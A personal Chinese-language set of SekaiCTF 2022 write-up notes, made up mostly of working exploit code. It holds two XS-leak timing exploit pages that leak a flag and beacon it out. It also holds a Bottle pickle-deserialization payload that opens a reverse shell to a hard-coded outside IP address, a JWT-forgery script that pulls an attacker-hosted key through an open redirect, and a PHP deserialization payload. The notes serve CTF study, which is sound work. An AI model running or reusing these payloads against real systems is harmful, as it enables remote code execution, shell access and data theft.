SekaiCTF2022-WriteUps

Intro

有些东西不想存电脑里,感觉很杂乱,但是删了又拍不好找,乾脆放博客好了,仅仅是方便自己后面来看某些东西,防止忘记又去找半天浪费时间

推荐看官方wp就好了

https://brycec.me/posts/sekaictf_2022_challenges

safelist 复现&&笔记

这道题的csp规则很严格,简单总结就是

  • Cache-Control: no-store(禁用了缓存探测的做法)
  • Cross-Origin-Opener-Policy: same-origin(只能open这道题的这个windows,其他操作干不了)
  • Document-Policy: force-load-at-top(禁止scroll-to-text-fragment跟#)
  • Cross-Origin-Resource-Policy: same-origin(其他网站不能加载这道题的资源)

还好有一个DOMPurify限制下的html inejction,DOMPurify有什么限制就不细说,本地记得比较详细

配合题目创建笔记就会按照字母顺序排序的功能,想办法通过时间检测我们html inejction注入的内容在flag上面还是下面就行了

Timing-6 concurrent request

引用下别人的博客,方便随时复习

「每個分頁都共用同一個限制」,意思是傳說中的「6 concurrent request」是針對目的地,而不是像我前面所認知的,每個頁面都有自己的 pool

根據最後測的結果,我總結出一共有兩個 pool

  1. 其他 host 對於 target host 的 fetch
  2. 自己對自己的 fetch & script/img 的載入(这里是指可以是其他host的?)

脚本来源:https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e

我在本地尝试的时候发现,只需要调下sleep的时间还有就是最后判断oracle是否成功的时间(因为是在本地测的嘛,网络波动不大)

为了方便以后快速回忆起来,我写了点中文注释

<html>
<head>
<script>
const SITE_URL = 'http://127.0.0.1:1234/';
const PING_URL = 'http://127.0.0.1/';
function timeScript(){
return new Promise(resolve => {
var x = document.createElement('script');
x.src = 'http://127.0.0.1:1234/js/purify.js?' + Math.random();
var start = Date.now();
x.onerror = () => {
console.log(`Time: ${Date.now() - start}`);
resolve(Date.now() - start);
x.remove();
}
document.body.appendChild(x);
});
}

add_note = async (note) => {
let x = document.createElement('form')
x.action = SITE_URL + "create"
x.method = "POST"
x.target = "xxx"

let i = document.createElement("input");
i.type = "text"
i.name = "text"
i.value = note
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

remove_note = async (note_id) => {
let x = document.createElement('form')
x.action = SITE_URL+"remove"
x.method = "POST"
x.target = "_blank"

let i = document.createElement("input");
i.type = "text"
i.name = "index"
i.value = note_id
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
// }zyxwvutsrqponmlkjihgfedcba_
const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
// const alphabet = 'zxa'
var prefix = 'SEKAI{te';
const TIMEOUT = 500;
async function checkLetter(letter){
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
const payload = `${prefix}${letter}` + Array.from(Array(1000)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
await add_note(payload);
await sleep(TIMEOUT);
first = await timeScript();//使用timeScript()保证已经加载完成
await remove_note(1);//因为是提交的表单并打开新标签页,所以这里如果你添加的一堆img标签没有消失的话,就会开始占用上面所说的第二种pool
await sleep(100);//等待的时间需要调整,如果时间太长,img标签加载完后,占用的资源也就释放了
const time = await timeScript();
navigator.sendBeacon(PING_URL+[letter,time],'');
if(time>=8){
return 1;
}
return 0;
}
window.onload = async () => {
navigator.sendBeacon(PING_URL, 'start');
// doesnt work because we are removing flag after success.
// while(1){
for(const letter of alphabet){
if(await checkLetter(letter)){
prefix += letter;
navigator.sendBeacon(PING_URL+'?data='+prefix);
break;
}
}
// }
// 注释掉while,我这里改成每跑一次leak一个字元

};
</script>
</head>
<body>


</body>
</html>
Timing-ddos-nodejs-server

脚本来源:https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/

由于nodejs是单线程嘛,当构造的内容发送大量请求卡住主线程,再在本地就能观测到卡住了很长一段时间

同上,本地测试时间需要改变下,写了些中文注释,简单改了下二分

<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>

<form id=f action="http://127.0.0.1:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>

<form id=f2 action="http://127.0.0.1:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>
<script>
let flag = 'SEKAI{'
const TARGET = 'http://127.0.0.1:1234'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'

const sleep = ms => new Promise(r => setTimeout(r, ms))
const send = data => fetch('http://127.0.0.1?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')

// start exploit
let count = 0
setTimeout(async () => {
for(let i=1;i<=9;i++){
let L = 0
let R = charset.length - 1
let M = 0
while( L <= R ) {
M = L + ((R - L)>>1)
let c = charset[M]
send('try_' + flag + c + ' L: ' + L + ' R: ' + R)
const found = await testChar(flag + c)
if (found) {
L = M + 1
} else {
R = M
}
if (L==R){//有时候二分需要注意下这个
M = R-1
break
}

}
if(M == 0 || M == charset.length - 1)
break
flag += charset[M]
send('found: '+ flag)
}
}, 0)



async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
//1700px
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:900}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()

setTimeout(() => {
run(str, resolve)
}, 100)
})
}

async function run(str, resolve) {
// if the request is not enough, we can send more by opening more window
for(let i=1; i<=5;i++) {
window.open(TARGET)
}
//这步也比较聪明,之前我还在想输入的长度是有限制的,那么点图片怕是卡不住,后来看到这里才意识到自己反应确实慢了
let t = 0
const round = 30
setTimeout(async () => {
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
send(str + "," + t + "," + "avg:" + avg)

/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 200)//本地测试200ms够了
if (isFound) {
inp2.value = "0"//根据结果移除排在上面的还是下面的
} else {
inp2.value = "1"
}

// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 100)
}

</script>

</body>

</html>

官方wp的方法由于要个域名,暂时没有能力仔细实验下

其他的题目我不是很感兴趣,就简单记录下脚本(这样就可以把电脑上的一堆脚本删了)

Bottle Poem

from bottle import route, run, template, request, response, error

import os
import re

class Exploit():
def __reduce__(self):
return exec, ('import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.195.149.50",7575));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())', )

@route("/sign")
def index():
try:
session = {"name": "admin","s":Exploit()}
response.set_cookie("name", session, secret="Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu")
except:
return "error"

run(host='localhost', port=8080, debug=True)

Issues

这个题让我学会了用bp的一个插件,这里记录下这个插件的用法

https://www.freebuf.com/articles/web/337347.html

测试脚本与解题无关


from urllib.parse import urlparse
import os
import jwt
import requests

def get_public_key():
resp = requests.get("http://issues-3m7gwj1d.ctf.sekai.team/logout?redirect=http://118.195.149.50/jwks.json")
resp = resp.json()
key = resp["keys"][0]["x5c"][0]
return key

token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImlzc3VlciI6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9sb2dvdXQ_cmVkaXJlY3Q9aHR0cDovLzExOC4xOTUuMTQ5LjUwL2p3a3MuanNvbiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.UA2J8c-gjkDG3HYroWO2VYTgA1KFV0g-1gQna6FZwdUZ1FGPI9e_5BVz0Myi7JvBSpi6XG-knER5xuRpJJGXUe0oJx_rJbXua1r08eELXD4JQD1Txy6n_jsiKNp_OaxXtdJbsZftn3ugJ7gu_ZBfmxLVlvXDwSw15sFDm_3ROtb5mlrAI_AKjCl3LDYk0WrmJPk2Jp_3rjY0m92usAVNis3QGRdpXPa6SF-zwkEwDdID7P7f_QQiFJsJISFTLNYZ-k8DHJz19kCrUa_zemMiaOKxGBEdazfEhz5Uupbvm7vq9wsfbgEaYvphUsE-gqv-4iNAQFHWaNwhS_EhwxwnYA"
pubkey = get_public_key()
pubkey = "-----BEGIN PUBLIC KEY-----\n{pubkey}\n-----END PUBLIC KEY-----".format(pubkey=pubkey).encode()

# decoded_token = jwt.decode(token, pubkey, algorithms=["RS256"])
# print(decoded_token)
print(pubkey.decode())
# decoded_token = jwt.decode(token, pubkey, algorithms=["RS256"])

Sekai Game Start

https://bugs.php.net/bug.php?id=81151

这里我之前看到disord里有人讨论说貌似有方法能让Sekai_Game反序列化后有属性,后面没事做再来看看

?sekai[game.run=
C:10:"Sekai_Game":0:{}
C:10:"Sekai_Game":16:{s:5:"start";b:1;}//这样貌似可以?
try it
it run :))))

Crab Commodities

推荐看官方wp,非预期就是直接溢出